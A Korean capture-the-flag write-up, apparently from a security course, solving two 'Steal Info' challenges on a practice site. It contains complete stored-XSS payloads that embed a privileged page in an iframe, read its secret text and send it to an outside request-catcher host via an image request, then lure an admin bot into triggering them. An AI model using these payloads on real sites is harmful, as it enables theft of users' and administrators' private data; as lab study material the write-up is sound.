[normaltic 취업반 5기] 2024-01-10 11주차 과제 : 3번 과제 Steal Info , Steal Info2 문제 풀이

2024. 1. 19. 15:33normaltic 취업반 5기/과제

 

과제 목표

 

  • Steal Info1, 2 문제에서 중요한 정보가 존재하는 웹 페이지를 관리자가 접근했을 시 플레그를 공격자 웹 서버로 요청하라.

 

iframe

 

  iframe 태그는 inline frame의 약자로 해당 웹 페이지 안에 다른 html 파일을 불러와서 삽입할 수 있는 기능을 가진다. 그러나 시간이 지나면서 iframe 태그의 다양한 문제가 도출되고 html5가 새롭게 등장하면서 지금은 잘 사용하지 않게 되었다.

 

  iframe 태그 사용법은 src 속성에 삽입할 웹 페이지 경로를 입력해주면 된다. 또한 삽입되는 웹 페이지의 크기를 width, height 속성을 통해 조절할 수도 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>iframe test</title>
</head>
<body>
 
    <p>iframe 태그 테스트</p>
    <iframe src='http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html' width='600' height='600'></iframe>
 
</body>
</html>
cs

 

Steal Info 문제

 

 

 1) Steal Info 문제 환경

 

  Steal Info 문제에서 주어진 웹 페이지는 다음과 같다.

 

  • http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html : 중요 정보가 있는 페이지와 똑같은 페이지
  • http://ctf.segfaulthub.com:4343/scriptPrac/secret.php : 실제 중요 정보가 있는 페이지
  • http://normaltic.com:5000/visit_url : 관리자 봇
  • http://ctf.segfaulthub.com:4343/scriptPrac/ : 공격 수행 페이지

 

[1] http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html   

 

http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html

 

  해당 웹 페이지에서 확인할 점은 '내 정보'란에 'This is a Very Secret Info.'라는 문자열이 입력되어 있는 것이다.

 

[2] http://ctf.segfaulthub.com:4343/scriptPrac/secret.php  

 

http://ctf.segfaulthub.com:4343/scriptPrac/secret.php

 

  해당 웹 페이지는 '권한 노노'라는 문자열을 포함한 경고 팝업창이 띄어지는 것으로 보아 관리자만이 접근 가능한 것으로 추측된다.

 

[3] http://normaltic.com:5000/visit_url

 

http://normaltic.com:5000/visit_url

 

  해당 웹 페이지는 관리자가 방문할 URL을 입력하면 관리자가 입력한 URL에 접근하도록 하는 기능을 가지는 것으로 확인된다.

 

[4] http://ctf.segfaulthub.com:4343/scriptPrac/  

 

http://ctf.segfaulthub.com:4343/scriptPrac/

 

  해당 웹 페이지에서 XSS 공격 포인트를 찾아 XSS 공격을 수행하는 페이지로 추측된다.

 

 

2) Steal Info 문제 공격 시나리오

 

  Steal Info 문제 공격 시나리오는 다음과 같다.

 

  1. /mypage.html, /secret.php 페이지에서는 XSS 공격이 불가능하므로 XSS 공격이 가능한 다른 웹 페이지에서 XSS 공격을 진행한다.
  2. XSS 공격이 가능한 다른 웹 페이지는 http://ctf.segfaulthub.com:4343/scriptPrac/ 이며 해당 웹 페이지에서 XSS 공격 포인트를 찾고 iframe 태그를 사용하여 /mypage.html 페이지를 삽입한다. 
  3. 삽입된 /mypage.html에서 '내 정보'란에 'This is a Very Secret Info.'라는 문자열을 공격자 웹 서버로 요청하는 스크립트를 작성한다.
  4. 스크립트가 성공적으로 작동하면 삽입되는 웹 페이지를 /mypage.html 대신 /secret.php로 변경 후 스크립트가 작동하는 URL을 관리자 봇 페이지에 입력한다.
  5. 공격자 웹 서버로 중요한 정보가 전달되면 문제 해결

 

[1] http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html

 

 

  /mypage.html에서 중요한 정보를 담고있는 HTML 요소는 <p class="card-text">This is a Very Secret Info.</p>의 'This is a Very Secret Info.' 문자열이 위치한 부분이며 해당 위치를 스크립트에서 접근하는 코드는 다음과 같다.

 

  • document.getElementsByClassName('card-text')[1].innerHTML

 

 

  위 코드를 해당 웹 페이지에서 개발자 도구로 입력했을 시 정상적으로 문자열이 출력되는 것을 확인할 수 있다.

 

[2] http://ctf.segfaulthub.com:4343/scriptPrac/    

 

 

  해당 웹 페이지는 XSS 공격이 가능한 웹 페이지로 XSS 공격 포인트를 찾아야 한다. '마이페이지'와 '공지 사항' 버튼을 클릭하여 각 웹 페이지에 XSS 공격 포인트가 존재하는지 확인한다.

 

(1) 마이페이지 

 

 

  마이페이지에서는 GET 메소드로 데이터를 전달하므로 Reflected XSS 공격이 가능하다. user 파라미터 값에 따라 개인정보 내용이 변경되는지 확인해 보자.

 

 

  user 파라미터 값을 'XSStest'로 변경 후 요청했더니 아무런 변화가 없는 것으로 보아 해당 웹 페이지에서는 XSS 공격이 불가능한 것으로 확인이 되었다.

 

(2) 공지 사항 

 

 

  공지 사항 웹 페이지는 게시판 형식이므로 Stored XSS 공격이 가능하다. 그렇기 때문에 게시글에 스크립트를 삽입하여 작동하는지 확인한다.

 

 

  제목과 내용에 스크립트가 작동하는 것을 확인하기 위해 <script>alert(1)</script> 코드를 삽입하고 게시글을 작성한다.

 

 

  게시글이 성공적으로 작성된 것을 확인하고 제목을 눌러 게시글의 상세 정보를 확인한다.

 

 

  스크립트가 정상적으로 작동하는 것을 확인하였고 Burp Suite를 통해 내용란에서 XSS 공격이 가능한 것을 확인하였다.

 

[3] XSS 공격 페이로드

 

  XSS 공격 포인트를 찾았으니 공격 페이로드를 구성한다. 페이로드에 포함될 내용은 다음과 같다.

 

  1. XSS 공격 대상과 XSS 공격 포인트가 다르므로 iframe 태그를 사용하여 XSS 공격 포인트에 XSS 공격 대상 웹 페이지를 삽입한다.
  2. HTML 요소에 접근하는 과정이 존재하므로 HTML 요소가 전부 로드된 후에 스크립트가 작동하도록 DOMContentLoaded 이벤트를 사용한다.
  3. iframe으로 삽입된 웹 페이지에 접근하기 위해서는 contentDocument로 삽입된 웹 페이지를 식별해줘야 한다.
  4. 위에서 /mypage.html에 존재하는 중요한 정보에 접근하는 코드를 공격자 웹 서버에 전송하도록 한다.

 

(1) iframe 태그 사용

 

 

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="myFrame"></iframe>

 

  <iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="myFrame"></iframe> 코드를 입력하여 공격 대상 웹 페이지를 삽입한다. 이때 id 속성을 입력하여 식별자를 추가한다.

 

(2) DOMContentLoaded 이벤트 사용

 

<script>document.addEventListener('DOMContentLoaded',function() {함수 삽입 위치}</script>

 

  함수 삽입 위치에 나머지 함수들을 입력해 준다.

 

(3) iframe로 삽입된 웹 페이지 HTML 요소에 접근

 

var x=document.getElementById('myFrame').contentDocument;
var data=x.getElementsByClassName('card-text')[1].innerHTML;

 

  변수 x에 document.getElementById('myFrame').contentDocument; 코드를 대입하여 iframe으로 삽입한 웹 페이지에 접근하는 객체를 만든다. 또한 삽입된 웹 페이지에서 중요한 정보가 존재하는 HTML 요소에 접근하는 코드인 x.getElementsByClassName('card-text')[1].innerHTML;를 변수 data에 대입한다.

 

(4) 공격자 웹 서버로 데이터 전송

 

var i=new Image();
i.src='공격자 웹 서버 도메인/?flag='+data;

 

  스크립트가 작동하게 되면 클라이언트 측 브라우저에서 img 태그를 생성하여 중요한 정보가 포함된 내용을 공격자 웹 서버로 요청하도록 한다. 

 

(5) 완성된 형태의 페이로드 

 

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="myFrame"></iframe><script>document.addEventListener('DOMContentLoaded',function()
{var x=document.getElementById('myFrame').contentDocument;
var data=x.getElementsByClassName('card-text')[1].innerHTML;
var i=new Image();i.src='https://enuss5kozkixk.x.pipedream.net/?flag='+data;});</script>

 

 

  완성된 페이로드를 게시글 내용란에 입력 후 게시글을 작성한다.

 

 

  게시글이 성공적으로 작성된 것을 확인 후 스크립트가 정상적으로 작동하는지 확인하기 위해 게시글의 제목을 클릭하고 공격자 웹 서버로 요청이 제대로 왔는지 확인한 결과 정상 작동됨을 확인하였다.

 

[4] 관리자 공격

 

 

  스크립트가 정상적으로 작동되는 것을 확인하였으므로 게시글에 삽입된 웹 페이지를 /secret.php로 수정한다.

 

 

  게시글의 상세 정보 페이지 URL을 복사하여 관리자 봇에 입력하면 관리자가 해당 URL에 접근한 효과를 얻을 수 있다. 그 결과 공격자 웹 서버로 중요한 정보인 플레그가 전달되었다.

 

 

Steal Info 2

 

  Steal Info 2문제는 Steal Info 문제와 유사하며 공격 대상 웹 페이지만 다르므로 간략하게 문제 풀이를 진행한다.

 

1) Steal Info 2 문제 환경

 

  Steal Info 2 문제에서 주어진 웹 페이지는 다음과 같다.

 

  • http://normaltic.com:5000/visit_url : 관리자 봇 
  • http://ctf.segfaulthub.com:4343/scriptPrac2/ : 공격 수행 페이지

 

2) Steal Info 문제 공격 시나리오

 

  Steal Info 문제 공격 시나리오는 다음과 같다.

 

  1. http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php의 정보란에 플레그가 숨겨져 있으므로 해당 웹 페이지 HTML 요소에 접근한다.
  2. XSS 공격이 /mypage.php에서 불가능할 경우 다른 XSS 공격 포인트를 찾아서 iframe 태그를 사용하여 /mypage.php 페이지를 삽입한다.
  3. 삽입한 /mypage.php 페이지의 HTML 요소에 접근하여 공격자 웹 서버에 데이터를 전달한다.

 

[1] http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=vanhartTest

 

 

  /mypage.php에서 중요한 정보를 담고 있는 HTML 요소는 <input name = "info" type = "text" id="userInfo" placeholder="Nothing Here..."/>의 ' Nothing Here... ' 문자열이 위치한 부분이며 해당 위치를 스크립트에서 접근하는 코드는 다음과 같다.

 

  • document.getElementById('userInfo').placeholder

 

 

  위 코드를 해당 웹 페이지에서 개발자 도구로 입력했을 시 정상적으로 문자열이 출력되는 것을 확인할 수 있다.

 

[2] http://ctf.segfaulthub.com:4343/scriptPrac2/

 

 

  해당 웹 페이지는 XSS 공격이 가능한 웹 페이지로 XSS 공격 포인트를 찾아야 한다. '마이페이지'와 '공지 사항' 버튼을 클릭하여 각 웹 페이지에 XSS 공격 포인트가 존재하는지 확인한다.

 

(1) 마이페이지

 

 

  마이페이지에서는 GET 메소드로 데이터를 전달하므로 Reflected XSS 공격이 가능하다. user 파라미터 값에 따라 개인정보 내용이 변경되는지 확인해 보자.

 

 

  user 파라미터 값을 'XSStest'로 변경 후 요청했더니 아무런 변화가 없는 것으로 보아 해당 웹 페이지에서는 XSS 공격이 불가능한 것으로 확인이 되었다.

 

(2) 공지 사항

 

 

  공지 사항 웹 페이지는 게시판 형식이므로 Stored XSS 공격이 가능하다. 그렇기 때문에 게시글에 스크립트를 삽입하여 작동하는지 확인한다.

 

 

  제목과 내용에 스크립트가 작동하는 것을 확인하기 위해 <script>alert(1)</script> 코드를 삽입하고 게시글을 작성한다.

 

 

  게시글이 성공적으로 작성된 것을 확인하고 제목을 눌러 게시글의 상세 정보를 확인한다.

 

 

  스크립트가 정상적으로 작동하는 것을 확인하였고 Burp Suite를 통해 내용란에서 XSS 공격이 가능한 것을 확인하였다.

 

[3] XSS 공격 페이로드

 

  XSS 공격 포인트를 찾았으니 공격 페이로드를 구성한다. 페이로드에 포함될 내용은 다음과 같다.

 

  1. XSS 공격 대상과 XSS 공격 포인트가 다르므로 iframe 태그를 사용하여 XSS 공격 포인트에 XSS 공격 대상 웹 페이지를 삽입한다.
  2. HTML 요소에 접근하는 과정이 존재하므로 HTML 요소가 전부 로드된 후에 스크립트가 작동하도록 DOMContentLoaded 이벤트를 사용한다.
  3. iframe으로 삽입된 웹 페이지에 접근하기 위해서는 contentDocument로 삽입된 웹 페이지를 식별해줘야 한다.
  4. 위에서 /mypage.php에 존재하는 중요한 정보에 접근하는 코드를 공격자 웹 서버에 전송하도록 한다.

 

(1) iframe 태그 사용

 

 

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="myFrame"></iframe>

 

  < iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="myFrame" ></iframe> 코드를 입력하여 공격 대상 웹 페이지를 삽입한다. 이때 id 속성을 입력하여 식별자를 추가한다.

 

(2) DOMContentLoaded 이벤트 사용

 

<script>document.addEventListener('DOMContentLoaded',function() {함수 삽입 위치}</script>

 

  함수 삽입 위치에 나머지 함수들을 입력해 준다.

 

(3) iframe로 삽입된 웹 페이지 HTML 요소에 접근

 

var x=document.getElementById('myFrame').contentDocument;
var data=x. getElementById('userInfo').placeholder;

 

  변수 x에 document.getElementById('myFrame').contentDocument; 코드를 대입하여 iframe으로 삽입한 웹 페이지에 접근하는 객체를 만든다. 또한 삽입된 웹 페이지에서 중요한 정보가 존재하는 HTML 요소에 접근하는 코드인 x. getElementById('userInfo').placeholder; 를 변수 data에 대입한다.

 

(4) 공격자 웹 서버로 데이터 전송

 

var i=new Image();
i.src='공격자 웹 서버 도메인/?flag='+data;

 

  스크립트가 작동하게 되면 클라이언트 측 브라우저에서 img 태그를 생성하여 중요한 정보가 포함된 내용을 공격자 웹 서버로 요청하도록 한다. 

 

(5) 완성된 형태의 페이로드 

 

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=vanhartTest" id="myFrame"></iframe><script>document.addEventListener('DOMContentLoaded',function() {var x=document.getElementById('myFrame').contentDocument;var data=x.getElementById('userInfo').placeholder;var i=new Image();i.src='https://enuss5kozkixk.x.pipedream.net/?flag='+data;});</script>

 

 

  완성된 페이로드를 게시글 내용란에 입력 후 게시글을 작성한다.

 

 

  게시글이 성공적으로 작성된 것을 확인 후 스크립트가 정상적으로 작동하는지 확인하기 위해 게시글의 제목을 클릭하고 공격자 웹 서버로 요청이 제대로 왔는지 확인한 결과 정상 작동됨을 확인하였다.

 

[4] 관리자 공격

 

 

  게시글의 상세 정보 페이지 URL을 복사하여 관리자 봇에 입력하면 관리자가 해당 URL에 접근한 효과를 얻을 수 있다. 그 결과 공격자 웹 서버로 중요한 정보인 플레그가 전달되었다.